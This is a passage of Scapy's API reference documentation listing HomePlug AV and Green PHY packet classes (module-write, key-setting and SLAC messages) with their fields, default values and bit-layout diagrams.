+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              OUI                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. VendorMME                          


VendorMME fields






	OUI

	OUIField

	45138















	
class scapy.contrib.homeplugav.WriteModuleData2NVMConfirmation(_pkt, /, *, Status=0, ModuleID=2)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L1374-L1377]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     STATUS    |    MODULEID   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. WriteModuleData2NVMConfirmation               


WriteModuleData2NVMConfirmation fields






	Status

	ByteEnumField

	0



	ModuleID

	ByteEnumField

	2















	
class scapy.contrib.homeplugav.WriteModuleData2NVMRequest(_pkt, /, *, ModuleID=2)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L1369-L1371]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MODULEID   |
+-+-+-+-+-+-+-+-+

                 Fig. WriteModuleData2NVMRequest                  


WriteModuleData2NVMRequest fields






	ModuleID

	ByteEnumField

	2















	
class scapy.contrib.homeplugav.WriteModuleDataRequest(_pkt, /, *, ModuleID=2, reserved_1=0, DataLen=None, Offset=0, checksum=None, ModuleData=b'\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L631-L648]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MODULEID   |   RESERVED 1  |            DATALEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             OFFSET                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            CHECKSUM                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           MODULEDATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. WriteModuleDataRequest                    


WriteModuleDataRequest fields






	ModuleID

	ByteEnumField

	2



	reserved_1

	XByteField

	0



	DataLen

	FieldLenField

	None



	Offset

	LEIntField

	0



	checksum

	LEIntField

	None



	ModuleData

	StrLenField

	b'\x00'











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L641-L648]

	








	
scapy.contrib.homeplugav.chksum32(data)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L590-L594]

	






            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.homepluggp


	
class scapy.contrib.homepluggp.CM_ATTENUATION_CHARACTERISTICS_MME(_pkt, /, *, EVMACAddress='00:00:00:00:00:00', NumberOfGroups=None, NumberOfCarrierPerGroupe=0, Groups=[''])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homepluggp.py#L82-L89]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          EVMACADDRESS                         |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               | NUMBEROFGROUPS|NUMBEROFCARRIER|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             GROUPS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

             Fig. CM_ATTENUATION_CHARACTERISTICS_MME              


CM_ATTENUATION_CHARACTERISTICS_MME fields






	EVMACAddress

	MACField

	'00:00:00:00:00:00'



	NumberOfGroups

	FieldLenField

	None



	NumberOfCarrierPerGroupe

	ByteField

	0



	Groups

	PacketListField

	['']















	
class scapy.contrib.homepluggp.CM_ATTEN_CHAR_IND(_pkt, /, *, ApplicationType=0, SecurityType=0, SourceAdress='00:00:00:00:00:00', RunID=b'\x00\x00\x00\x00\x00\x00\x00\x00', SourceID=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', ResponseID=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', NumberOfSounds=0, NumberOfGroups=None, Groups=[''])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homepluggp.py#L92-L104]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|APPLICATIONTYPE|  SECURITYTYPE |          SOURCEADRESS         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             RUNID                             |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            SOURCEID                           |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                   RESPONSEID                  |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               | NUMBEROFSOUNDS| NUMBEROFGROUPS|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             GROUPS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. CM_ATTEN_CHAR_IND                      


CM_ATTEN_CHAR_IND fields






	ApplicationType

	ByteField

	0



	SecurityType

	ByteField

	0



	SourceAdress

	MACField

	'00:00:00:00:00:00'



	RunID

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00'



	SourceID

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'



	ResponseID

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'



	NumberOfSounds

	ByteField

	0



	NumberOfGroups

	FieldLenField

	None



	Groups

	PacketListField

	['']















	
class scapy.contrib.homepluggp.CM_ATTEN_CHAR_RSP(_pkt, /, *, ApplicationType=0, SecurityType=0, SourceAdress='00:00:00:00:00:00', RunID=b'\x00\x00\x00\x00\x00\x00\x00\x00', SourceID=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', ResponseID=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', Result=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homepluggp.py#L107-L115]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|APPLICATIONTYPE|  SECURITYTYPE |          SOURCEADRESS         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             RUNID                             |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            SOURCEID                           |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                   RESPONSEID                  |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |     RESULT    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. CM_ATTEN_CHAR_RSP                      


CM_ATTEN_CHAR_RSP fields






	ApplicationType

	ByteField

	0



	SecurityType

	ByteField

	0



	SourceAdress

	MACField

	'00:00:00:00:00:00'



	RunID

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00'



	SourceID

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'



	ResponseID

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'



	Result

	ByteEnumField

	0















	
class scapy.contrib.homepluggp.CM_MNBC_SOUND_IND(_pkt, /, *, ApplicationType=0, SecurityType=0, SenderID=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', Countdown=0, RunID=b'\x00\x00\x00\x00\x00\x00\x00\x00', RSVD=b'\x00\x00\x00\x00\x00\x00\x00\x00', RandomValue=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homepluggp.py#L174-L182]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|APPLICATIONTYPE|  SECURITYTYPE |            SENDERID           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                               +-+-+-+-+-+-+-+-+
|                                               |   COUNTDOWN   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             RUNID                             |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              RSVD                             |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          RANDOMVALUE                          |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. CM_MNBC_SOUND_IND                      


CM_MNBC_SOUND_IND fields






	ApplicationType

	ByteField

	0



	SecurityType

	ByteField

	0



	SenderID

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'



	Countdown

	ByteField

	0



	RunID

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00'



	RSVD

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00'



	RandomValue

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'















	
class scapy.contrib.homepluggp.CM_SET_KEY_CNF(_pkt, /, *, Result=0, MyNonce=0, YourNonce=0, PID=0, ProtoRunNumber=0, ProtoMessNumber=0, CCoCapability=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homepluggp.py#L204-L212]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     RESULT    |                    MYNONCE                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                   YOURNONCE                   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |      PID      |         PROTORUNNUMBER        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|PROTOMESSNUMBER| CCOCAPABILITY |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. CM_SET_KEY_CNF                        


CM_SET_KEY_CNF fields






	Result

	ByteEnumField

	0



	MyNonce

	XIntField

	0



	YourNonce

	XIntField

	0



	PID

	ByteField

	0



	ProtoRunNumber

	ShortField

	0



	ProtoMessNumber

	ByteField

	0



	CCoCapability

	ByteField

	0















	
class scapy.contrib.homepluggp.CM_SET_KEY_REQ(_pkt, /, *, KeyType=0, MyNonce=0, YourNonce=0, PID=0, ProtoRunNumber=0, ProtoMessNumber=0, CCoCapability=0, NetworkID=b'\x00\x00\x00\x00\x00\x00\x00', NewEncKeySelect=0, NewKey=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homepluggp.py#L190-L201]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    KEYTYPE    |                    MYNONCE                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                   YOURNONCE                   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |      PID      |         PROTORUNNUMBER        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|PROTOMESSNUMBER| CCOCAPABILITY |           NETWORKID           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |NEWENCKEYSELECT|             NEWKEY            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. CM_SET_KEY_REQ                        


CM_SET_KEY_REQ fields






	KeyType

	ByteEnumField

	0



	MyNonce

	XIntField

	0



	YourNonce

	XIntField

	0



	PID

	ByteField

	0



	ProtoRunNumber

	ShortField

	0



	ProtoMessNumber

	ByteField

	0



	CCoCapability

	ByteField

	0



	NetworkID

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00'



	NewEncKeySelect

	ByteField

	0



	NewKey

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'















	
class scapy.contrib.homepluggp.CM_SLAC_MATCH_CNF(_pkt, /, *, ApplicationType=0, SecurityType=0, MatchVariableFieldLen=None, VariableField=<SLAC_varfield_cnf  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homepluggp.py#L152-L160]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|APPLICATIONTYPE|  SECURITYTYPE |     MATCHVARIABLEFIELDLEN     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         VARIABLEFIELD         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. CM_SLAC_MATCH_CNF                      


CM_SLAC_MATCH_CNF fields






	ApplicationType

	ByteField

	0



	SecurityType

	ByteField

	0



	MatchVariableFieldLen

	FieldLenField

	None



	VariableField

	PacketField

	<SLAC_varfield_cnf  |>















	
class scapy.contrib.homepluggp.CM_SLAC_MATCH_REQ(_pkt, /, *, ApplicationType=0, SecurityType=0, MatchVariableFieldLen=None, VariableField=<SLAC_varfield  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homepluggp.py#L128-L136]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|APPLICATIONTYPE|  SECURITYTYPE |     MATCHVARIABLEFIELDLEN     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         VARIABLEFIELD         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. CM_SLAC_MATCH_REQ                      


CM_SLAC_MATCH_REQ fields






	ApplicationType

	ByteField

	0



	SecurityType

	ByteField

	0



	MatchVariableFieldLen

	FieldLenField

	None



	VariableField

	PacketField

	<SLAC_varfield  |>















	
class scapy.contrib.homepluggp.CM_SLAC_PARM_CNF(_pkt, /, *, MSoundTargetMAC='00:00:00:00:00:00', NumberMSounds=0, TimeOut=0, ResponseType=0, ForwardingSTA='00:00:00:00:00:00', ApplicationType=0, SecurityType=0, RunID=b'\x00\x00\x00\x00\x00\x00\x00\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homepluggp.py#L51-L60]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        MSOUNDTARGETMAC                        |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               | NUMBERMSOUNDS |    TIMEOUT    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  RESPONSETYPE |                 FORWARDINGSTA                 |
+-+-+-+-+-+-+-+-+                               +-+-+-+-+-+-+-+-+
|                                               |APPLICATIONTYPE|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  SECURITYTYPE |                     RUNID                     |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                      Fig. CM_SLAC_PARM_CNF                       


CM_SLAC_PARM_CNF fields






	MSoundTargetMAC

	MACField

	'00:00:00:00:00:00'



	NumberMSounds

	ByteField

	0



	TimeOut

	ByteField

	0



	ResponseType

	ByteField

	0



	ForwardingSTA

	MACField

	'00:00:00:00:00:00'



	ApplicationType

	ByteField

	0



	SecurityType

	ByteField

	0



	RunID

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00'















	
class scapy.contrib.homepluggp.CM_SLAC_PARM_REQ(_pkt, /, *, ApplicationType=0, SecurityType=0, RunID=b'\x00\x00\x00\x00\x00\x00\x00\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homepluggp.py#L44-L48]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|APPLICATIONTYPE|  SECURITYTYPE |             RUNID             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. CM_SLAC_PARM_REQ                       


CM_SLAC_PARM_REQ fields






	ApplicationType

	ByteField

	0



	SecurityType

	ByteField

	0



	RunID

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00'















	
class scapy.contrib.homepluggp.CM_START_ATTEN_CHAR_IND(_pkt, /, *, ApplicationType=0, SecurityType=0, NumberOfSounds=0, TimeOut=0, ResponseType=0, ForwardingSTA='00:00:00:00:00:00', RunID=b'\x00\x00\x00\x00\x00\x00\x00\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homepluggp.py#L163-L171]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|APPLICATIONTYPE|  SECURITYTYPE | NUMBEROFSOUNDS|    TIMEOUT    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  RESPONSETYPE |                 FORWARDINGSTA                 |
+-+-+-+-+-+-+-+-+                               +-+-+-+-+-+-+-+-+
|                                               |     RUNID     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+                                               +-+-+-+-+-+-+-+-+
|                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. CM_START_ATTEN_CHAR_IND                   


CM_START_ATTEN_CHAR_IND fields






	ApplicationType

	ByteField

	0



	SecurityType

	ByteField

	0



	NumberOfSounds

	ByteField

	0



	TimeOut

	ByteField

	0



	ResponseType

	ByteField

	0



	ForwardingSTA

	MACField

	'00:00:00:00:00:00'



	RunID

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00'















	
class scapy.contrib.homepluggp.HPGP_GROUP(_pkt, /, *, group=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homepluggp.py#L63-L68]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homepluggp.py#L67-L68]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     GROUP     |
+-+-+-+-+-+-+-+-+

                         Fig. HPGP_GROUP                          


HPGP_GROUP fields






	group

	ByteField

	0















	
class scapy.contrib.homepluggp.SLAC_varfield(_pkt, /, *, EVID=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', EVMAC='00:00:00:00:00:00', EVSEID=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', EVSEMAC='00:00:00:00:00:00', RunID=b'\x00\x00\x00\x00\x00\x00\x00\x00', RSVD=b'\x00\x00\x00\x00\x00\x00\x00\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homepluggp.py#L118-L125]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              EVID                             |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     EVMAC                     |
+-+-+-+-+-+-+-+-+                               +-+-+-+-+-+-+-+-+
|                                               |     EVSEID    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            EVSEMAC                            |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             RUNID             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |              RSVD             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. SLAC_varfield                        


SLAC_varfield fields






	EVID

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'



	EVMAC

	MACField

	'00:00:00:00:00:00'



	EVSEID

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'



	EVSEMAC

	MACField

	'00:00:00:00:00:00'



	RunID

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00'



	RSVD

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00'















	
class scapy.contrib.homepluggp.SLAC_varfield_cnf(_pkt, /, *, EVID=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', EVMAC='00:00:00:00:00:00', EVSEID=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', EVSEMAC='00:00:00:00:00:00', RunID=b'\x00\x00\x00\x00\x00\x00\x00\x00', RSVD=b'\x00\x00\x00\x00\x00\x00\x00\x00', NetworkID=b'\x00\x00\x00\x00\x00\x00\x00', Reserved=0, NMK=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homepluggp.py#L139-L149]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              EVID                             |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     EVMAC                     |
+-+-+-+-+-+-+-+-+                               +-+-+-+-+-+-+-+-+
|                                               |     EVSEID    |
